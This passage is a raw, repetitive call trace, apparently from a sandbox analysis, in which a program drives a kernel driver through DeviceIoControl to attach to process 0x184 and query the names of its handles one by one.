lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.726] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.726] PsAcquireProcessExitSynchronization () returned 0x0 [0092.726] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.727] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001248470, HandleInformation=0x0) returned 0x0 [0092.727] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.026] PsReleaseProcessExitSynchronization () returned 0x2 [0093.026] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.026] ObQueryNameString (in: Object=0xfffff8a001248470, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.026] ObfDereferenceObject (Object=0xfffff8a001248470) returned 0x1 [0093.026] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.026] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.026] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.026] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.026] PsAcquireProcessExitSynchronization () returned 0x0 [0093.026] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.026] ObReferenceObjectByHandle (in: Handle=0x1f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00193ffc0, HandleInformation=0x0) returned 0x0 [0093.026] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.026] PsReleaseProcessExitSynchronization () returned 0x2 [0093.026] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.026] ObQueryNameString (in: Object=0xfffff8a00193ffc0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.027] ObfDereferenceObject (Object=0xfffff8a00193ffc0) returned 0x1 [0093.027] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.027] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.027] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.027] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.027] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.027] PsAcquireProcessExitSynchronization () returned 0x0 [0093.027] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.027] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001984fc0, HandleInformation=0x0) returned 0x0 [0093.027] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.027] PsReleaseProcessExitSynchronization () returned 0x2 [0093.027] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.027] ObQueryNameString (in: Object=0xfffff8a001984fc0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.027] ObfDereferenceObject (Object=0xfffff8a001984fc0) returned 0x1 [0093.027] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.027] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.027] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.027] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.027] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.027] PsAcquireProcessExitSynchronization () returned 0x0 [0093.027] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.027] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0016d4ba0, HandleInformation=0x0) returned 0x0 [0093.027] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.027] PsReleaseProcessExitSynchronization () returned 0x2 [0093.027] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.027] ObQueryNameString (in: Object=0xfffff8a0016d4ba0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.027] ObfDereferenceObject (Object=0xfffff8a0016d4ba0) returned 0x1 [0093.027] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.027] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.027] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.027] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.027] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.027] PsAcquireProcessExitSynchronization () returned 0x0 [0093.027] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.028] ObReferenceObjectByHandle (in: Handle=0x220, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0016e6060, HandleInformation=0x0) returned 0x0 [0093.028] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.028] PsReleaseProcessExitSynchronization () returned 0x2 [0093.028] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.028] ObQueryNameString (in: Object=0xfffff8a0016e6060, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.028] ObfDereferenceObject (Object=0xfffff8a0016e6060) returned 0x1 [0093.028] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.028] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.028] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.028] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.028] PsAcquireProcessExitSynchronization () returned 0x0 [0093.028] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.028] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001504170, HandleInformation=0x0) returned 0x0 [0093.028] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.028] PsReleaseProcessExitSynchronization () returned 0x2 [0093.028] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.028] ObQueryNameString (in: Object=0xfffff8a001504170, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.028] ObfDereferenceObject (Object=0xfffff8a001504170) returned 0x1 [0093.028] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.028] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.028] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.028] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.028] PsAcquireProcessExitSynchronization () returned 0x0 [0093.028] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.028] ObReferenceObjectByHandle (in: Handle=0x22c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a2cd30, HandleInformation=0x0) returned 0x0 [0093.028] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.028] PsReleaseProcessExitSynchronization () returned 0x2 [0093.028] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.028] ObQueryNameString (in: Object=0xfffff8a001a2cd30, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.028] ObfDereferenceObject (Object=0xfffff8a001a2cd30) returned 0x1 [0093.028] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.029] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.029] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.029] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.029] PsAcquireProcessExitSynchronization () returned 0x0 [0093.029] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.029] ObReferenceObjectByHandle (in: Handle=0x230, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a5e540, HandleInformation=0x0) returned 0x0 [0093.029] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.029] PsReleaseProcessExitSynchronization () returned 0x2 [0093.029] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.029] ObQueryNameString (in: Object=0xfffff8a001a5e540, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.029] ObfDereferenceObject (Object=0xfffff8a001a5e540) returned 0x1 [0093.029] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.029] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.029] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.029] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.029] PsAcquireProcessExitSynchronization () returned 0x0 [0093.029] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.029] ObReferenceObjectByHandle (in: Handle=0x240, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001703f70, HandleInformation=0x0) returned 0x0 [0093.029] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.029] PsReleaseProcessExitSynchronization () returned 0x2 [0093.029] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.029] ObQueryNameString (in: Object=0xfffff8a001703f70, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.029] ObfDereferenceObject (Object=0xfffff8a001703f70) returned 0x1 [0093.029] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.029] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.029] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.029] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.029] PsAcquireProcessExitSynchronization () returned 0x0 [0093.029] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.029] ObReferenceObjectByHandle (in: Handle=0x248, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001b65390, HandleInformation=0x0) returned 0x0 [0093.029] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.029] PsReleaseProcessExitSynchronization () returned 0x2 [0093.030] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.030] ObQueryNameString (in: Object=0xfffff8a001b65390, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.030] ObfDereferenceObject (Object=0xfffff8a001b65390) returned 0x1 [0093.030] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.030] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.030] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0093.030] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.030] PsAcquireProcessExitSynchronization () returned 0x0 [0093.030] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.030] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800348e200, HandleInformation=0x0) returned 0x0 [0093.030] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.030] PsReleaseProcessExitSynchronization () returned 0x2 [0093.030] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.030] ObQueryNameString (in: Object=0xfffffa800348e200, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.030] ObfDereferenceObject (Object=0xfffffa800348e200) returned 0x2 [0093.030] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.030] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.030] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.030] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.030] PsAcquireProcessExitSynchronization () returned 0x0 [0093.030] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.030] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001aa6d40, HandleInformation=0x0) returned 0x0 [0093.030] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.030] PsReleaseProcessExitSynchronization () returned 0x2 [0093.030] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.030] ObQueryNameString (in: Object=0xfffff8a001aa6d40, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.030] ObfDereferenceObject (Object=0xfffff8a001aa6d40) returned 0x1 [0093.030] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.030] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.030] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.030] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.031] PsAcquireProcessExitSynchronization () returned 0x0 [0093.031] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.031] ObReferenceObjectByHandle (in: Handle=0x254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001aaed80, HandleInformation=0x0) returned 0x0 [0093.031] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.031] PsReleaseProcessExitSynchronization () returned 0x2 [0093.031] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.031] ObQueryNameString (in: Object=0xfffff8a001aaed80, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.031] ObfDereferenceObject (Object=0xfffff8a001aaed80) returned 0x1 [0093.031] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.031] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.031] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.031] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.031] PsAcquireProcessExitSynchronization () returned 0x0 [0093.031] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.031] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001aae1f0, HandleInformation=0x0) returned 0x0 [0093.031] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.031] PsReleaseProcessExitSynchronization () returned 0x2 [0093.031] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.031] ObQueryNameString (in: Object=0xfffff8a001aae1f0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.031] ObfDereferenceObject (Object=0xfffff8a001aae1f0) returned 0x1 [0093.031] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.031] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.031] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.031] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.031] PsAcquireProcessExitSynchronization () returned 0x0 [0093.031] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.031] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001aacfc0, HandleInformation=0x0) returned 0x0 [0093.031] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.031] PsReleaseProcessExitSynchronization () returned 0x2 [0093.031] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.031] ObQueryNameString (in: Object=0xfffff8a001aacfc0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.031] ObfDereferenceObject (Object=0xfffff8a001aacfc0) returned 0x1 [0093.031] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.032] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.032] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.032] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.032] PsAcquireProcessExitSynchronization () returned 0x0 [0093.032] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.032] ObReferenceObjectByHandle (in: Handle=0x268, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001aad6f0, HandleInformation=0x0) returned 0x0 [0093.032] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.032] PsReleaseProcessExitSynchronization () returned 0x2 